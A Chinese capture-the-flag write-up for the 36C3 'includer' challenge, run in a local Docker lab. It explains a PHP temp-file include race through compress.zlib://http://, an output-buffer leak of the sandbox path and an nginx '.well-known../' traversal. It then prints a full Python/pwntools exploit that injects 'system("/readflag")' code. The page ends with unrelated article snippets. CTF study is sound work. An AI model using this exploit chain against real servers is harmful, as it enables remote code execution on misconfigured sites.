ctf-36C3解析

一、环境

unbentu

这道题给了docker环境,gethub上面自己找

一个好用的linux全局切换梯子proxychains

二、开始解析

2.1初始

 2.2编译

docker build .

 2.3代理设置完毕

我试了一下代理还是不行,我们换源尝试一下

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list

 

之后便可正常部署了

docker build -t includer .

 搞定

运行一下镜像

docker run -itd -p 8004:80 loadbalance-jsp_lbsnode1

 生成

搭建完成之后运行在web界面显示是以下则搭建成功

 那分析一下代码吧,使用vs code进行远程的连接

代码还是比较简单的

 先是语言模式,然后生成32位随机字符转成16进制,执行完以后读文件看文件中是否有<?,如果有直接给删除掉,那我们思路就很清晰了包含file

之后去读取,我们肯定想包含底下这个但是因为有<?

<?php system("/readflag")

那我们就可以思考一个问题,可不可以生成一个临时文件,临时文件可不可以竞争

意思也就是我们一开始传一个正常的文件,之后传一个带一句话木马的文件,如果可以竞争的话在php代码还没有判断之前,第二个文件会对第一个文件进行覆盖

三、理论形成,实践开始

我们需要fswatch去监控,这个gethub上面直接安装,安装地址是是

Release fswatch v. 1.17.1 · emcrisostomo/fswatch · GitHub

之后打开kill使用BurpSuite

但是这种情况我测试,测试不成功,只能使用底下的python去测试 

小结一下吧,不然上面显的乱

如果PHP_STREAM_PREFER_STDIO已设置,则会调用php_stream_fopen_tmpfile()创建临时文件。

所以我们现在可以创建具有任意内容的临时文件。

我们的目标很明显:

  1. 用于compress.zlib://http://myserver上传一些垃圾,但不要关闭连接

  2. 用于.well-known../files/xxxxxxxxxxx/列出我们的临时文件名(xxxxxxxxxxx 是目录名)

  3. 用于file_get_contents与另一个会话读取临时文件

  4. 因为临时文件不包含<?,所以它会通过检查

  5. 从之前的连接发送我们的 php 代码

  6. 将临时文件包含在我们的 php 代码中

因为我们需要在file_get_contents()和之间发送 php 代码include(),所以我们应该竞争它!(步骤3~步骤6)

还有一个问题,我们需要在步骤1中获取目录名,但是无法关闭连接。

为了解决这个问题,我们使用 来$_POST['name']填充 php 输出缓冲区。

然后我们将看到随机目录名称而不关闭连接。

四、总结

所以整个流程我们可以总结为以下:

1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

2.利用超长的 name 溢出 output buffer 得到 sandbox 路径

3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名

Nginx配置错误:Vulhub - Docker-Compose file for vulnerability environment

目录穿越:

4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点:

要利用大文件或ftp速度限制让连接保持

传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

五、python代码

exp for 36c3 includer (github.com)

导入系统然后跑程序,但是它的代码引用后有问题,我进行了简单的修改后即可包含成功

import requests
from pwn import *for i in range(100):r=remote("192.168.170.145",8004)l=listen(9090)# get filenamedata = """name={}&file=compress.zlib://http://192.168.170.145:9090""".format("a" * 8050)#这里要选择合适的长度来溢出payload = """POST / HTTP/1.1
Host: 192.168.170.145:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}""".format(len(data), data).replace("\n", "\r\n").encode()r.send(payload)try:r.recvuntil("your sandbox: ".encode())except EOFError:print("[ERROR]"+"EOFError")r.close()continuedirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'print("[DEBUG]:dirname:"+dirname)c=l.wait_for_connection()# send trash 来让临时文件存活更久trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive{}'''.format('A' * 5000000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小c.send(trash)url="http://192.168.170.145:8004/.well-known../"+dirnameprint(url)res1=requests.get(url=url)try:tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]print("[DEBUG]:" + tmpname)except IndexError:print("i will close")l.close()r.close()print("[ERROR]: IndexErorr")continuedef job():time.sleep(0.02)phpcode = 'wtf<?php system("/readflag");?>'c.send(phpcode)t = threading.Thread(target = job)t.start()exp_filename=dirname+tmpnameprint("[DEBUG]:"+exp_filename)res2=requests.post("http://192.168.170.145:8004/",data={"file":exp_filename})print(res2.text,res2.status_code)if "wtf" in res2.text:breakl.close()r.close()c.close()

 自然包含成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/779183.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

论文复现3:Stable Diffusion v1

abstract: 通过将图像形成过程分解为去噪自动编码器的顺序应用,扩散模型 (DM) 在图像数据及其他方面实现了最先进的合成结果。此外,他们的公式允许一种指导机制来控制图像生成过程,而无需重新训练。然而,由于这些模型通常直接在像素空间中运行,因此强大的 DM 的优化通常会…

Go打造REST Server【二】:用路由的三方库来实现

前言 在之前的文章中&#xff0c;我们用Go的标准库来实现了服务器&#xff0c;JSON渲染重构为辅助函数&#xff0c;使特定的路由处理程序相当简洁。 我们剩下的问题是路径路由逻辑&#xff0c;这是所有编写无依赖HTTP服务器的人都会遇到的问题&#xff0c;除非服务器只处理一到…

Redis桌面客户端

3.4.Redis桌面客户端 安装完成Redis&#xff0c;我们就可以操作Redis&#xff0c;实现数据的CRUD了。这需要用到Redis客户端&#xff0c;包括&#xff1a; 命令行客户端图形化桌面客户端编程客户端 3.4.1.Redis命令行客户端 Redis安装完成后就自带了命令行客户端&#xff1…

描述堆数据结构及其用途

描述堆数据结构及其用途 堆数据结构是一种特殊的树形数据结构&#xff0c;它通常被实现为完全二叉树。堆具有两个重要的特性&#xff1a;堆序性和完全二叉树的结构性。堆序性指的是堆中任意节点的值都满足一定的条件&#xff0c;通常分为最大堆和最小堆两种。在最大堆中&#x…

面向对象特征一:封装性

9.1 为什么需要封装&#xff1f; 我要用洗衣机&#xff0c;只需要按一下开关和洗涤模式就可以了。有必要了解洗衣机内部的结构吗&#xff1f;有必要 碰电动机吗&#xff1f; 我要开车&#xff0c;我不需要懂离合、油门、制动等原理和维修也可以驾驶。 客观世界里每一个事物…

乐维更改IP地址

1.1 系统IP调整 vim /etc/sysconfig/network-scripts/ifcfg-ens1921.2 Web相关服务IP变更 1.2.1 编辑/itops/nginx/html/lwjkapp/.env文件,更改ZABBIXSERVER、ZABBIXRPCURL、DB_HOST中的IP 1.2.2 进入/itops/nginx/html/lwjk_app/目录下,执行php bin/manager process-conso…

(免费分享)基于微信小程序电影院购票系统带论文

基于小程序的电影院购票管理系统【含报告】&#xff1a;前端 vue、elementui、小程序&#xff0c;后端 maven、springboot、springmvc、spring、mybatis&#xff0c;角色分为管理员、用户&#xff1b;集成小程序浏览电影&#xff0c;购票等功能于一体的系统。 目录 摘要 I Ab…

AtCoder Regular Contest 140 C - ABS Permutation (LIS ver.)

C - ABS Permutation (LIS ver.) 目录 题意&#xff1a; 思路&#xff1a; 我没做出来的原因&#xff1a; 代码&#xff1a; 题意&#xff1a; p数组是permutation&#xff0c;n个数&#xff0c;所有连续两数之差的绝对值可以构成a数组。问a数组**严格**递增的最长长度是多…

关于Devc++调试的问题以及解决STL变量无法查看

目前Devc的调试主要有以下几点&#xff1a; 1.调试不能直接查看stl变量&#xff0c;会卡死不动 2.目前单步进入只能用鼠标键按 3.若想按下一步进入函数体内&#xff0c;要在函数体内打上断点才行 4.调试到return 0 ;上一句就停了&#xff0c;不会结束程序 5.目前F2跳至断点…

elasticsearch 8.12+kibana 8.12

准备工作&#xff1a;1.下载相关的安装包放到/usr/local/ES下面 elasticsearch下载地址:Download Elasticsearch | Elastic elasticsearch-head-master下载地址:https://github.com/mobz/elasticsearch-head/archive/master.zip node下载地址:Index of /dist/ kibana地址:Downl…

nacos的各种类型的配置文件 yml 、json、 Properties、 text 等文件类型 发生变化怎么热更新,实现实时监听nacos配置文件变化

本文用的是 Nacos作为配置中心注册监听器方法 实现热更新 nacos 配置文件 从而不用重启项目 依赖、工具类 这边就不写了 因为项目用的是 Json 类型的配置文件 所以下文 主要是对json文件进行实现 别的文件大同小异 先说扯淡的东西 在nacos 的配置文件中 dataId 这两种声明 是…

华为流量整形配置

组网需求 如图1所示&#xff0c;企业网内部LAN侧的语音、视频和数据业务通过Switch连接到RouterA的Eth2/0/0上&#xff0c;并通过RouterA的GE3/0/0连接到WAN侧网络。 不同业务的报文在LAN侧使用802.1p优先级进行标识&#xff0c;在RouterA上根据报文的802.1p优先级入队列&…

c++初阶篇----string的底层模拟

string类的模拟 目录 string类的模拟功能介绍各功能的实现类的构造函数&#xff0c;拷贝构造函数&#xff0c;析构函数迭代器的实现string的内部容量访问成员函数string的修改成员函数string类的相关联函数string类的输入输出友元 汇总string功能的实现汇总测试代码 功能介绍 …

2024.3.29每日一题

LeetCode 元素和最小的山形三元组 I 题目链接&#xff1a; 题目描述 给你一个下标从 0 开始的整数数组 nums 。 如果下标三元组 (i, j, k) 满足下述全部条件&#xff0c;则认为它是一个 山形三元组 &#xff1a; i < j < knums[i] < nums[j] 且 nums[k] < nu…

Backend - python 连接 操作 PostgreSQL DB(数据库)

目录 一、基础环境 &#xff08;一&#xff09;建立虚拟环境 &#xff08;二&#xff09;安装依赖 二、连接数据库 三、操作数据库 &#xff08;一&#xff09;查询 &#xff08;二&#xff09;单笔更新/插入 &#xff08;三&#xff09;批量更新/插入 &#xff08;四…

Containerd 介绍、安装和使用

Containerd介绍、安装和使用 文章目录 Containerd介绍、安装和使用1.containerd是什么&#xff1f;2.Containerd安装2.1 主机初始化2.1.1 设置ip地址2.1.2 配置镜像源2.1.3 关闭防火墙2.1.4 禁用SELinux2.1.5 禁用swap2.1.6 设置时区 2.2 安装 containerd2.2.1 内核参数调整2.2…

成都某公司笔试题sql

– 1.某公司需要将项目管理清单导入数据库&#xff0c;请建表&#xff0c;清单字段如下:项目编码&#xff0c;项目名称&#xff0c;项目开始时间&#xff0c;项目结束时间&#xff0c;周期(月)&#xff0c;项目金额&#xff0c;客户名称&#xff0c;客户地址&#xff0c;备注。…

【八大排序】一篇文章搞定所有排序

文章目录 1.排序的概念2.常见排序算法的实现2.1 插入排序2.1.1直接插入排序2.1.2希尔排序 2.2选择排序2.2.1直接选择排序:2.2.2堆排序 2.3交换排序2.3.1冒泡排序2.3.2快速排序Hoare法前后指针法挖坑法非递归版本 2.4归并排序递归版本非递归版本 2.5计数排序3.排序的比较 1.排序…

2024年EDM邮件营销群发平台怎么选?

在2024年选择适合的EDM&#xff08;电子邮件直接营销&#xff09;邮件营销群发平台时&#xff0c;需要考虑以下几个关键要素来评估云衔科技以及其他供应商的产品或服务是否符合您的需求&#xff1a; 一、功能完备性&#xff1a; 1、智能自动化&#xff1a;确保云衔科技提供的…

用DataGrip连接hive时报错:User: root is not allowed to impersonate plck5,解决方法

你可以尝试关闭主机校验 修改hive安装目录下conf/hive-site.xml,将hive.server2.enable.doAs设置成false <property><name>hive.server2.enable.doAs</name><value>false</value><description>Setting this property to true will have H…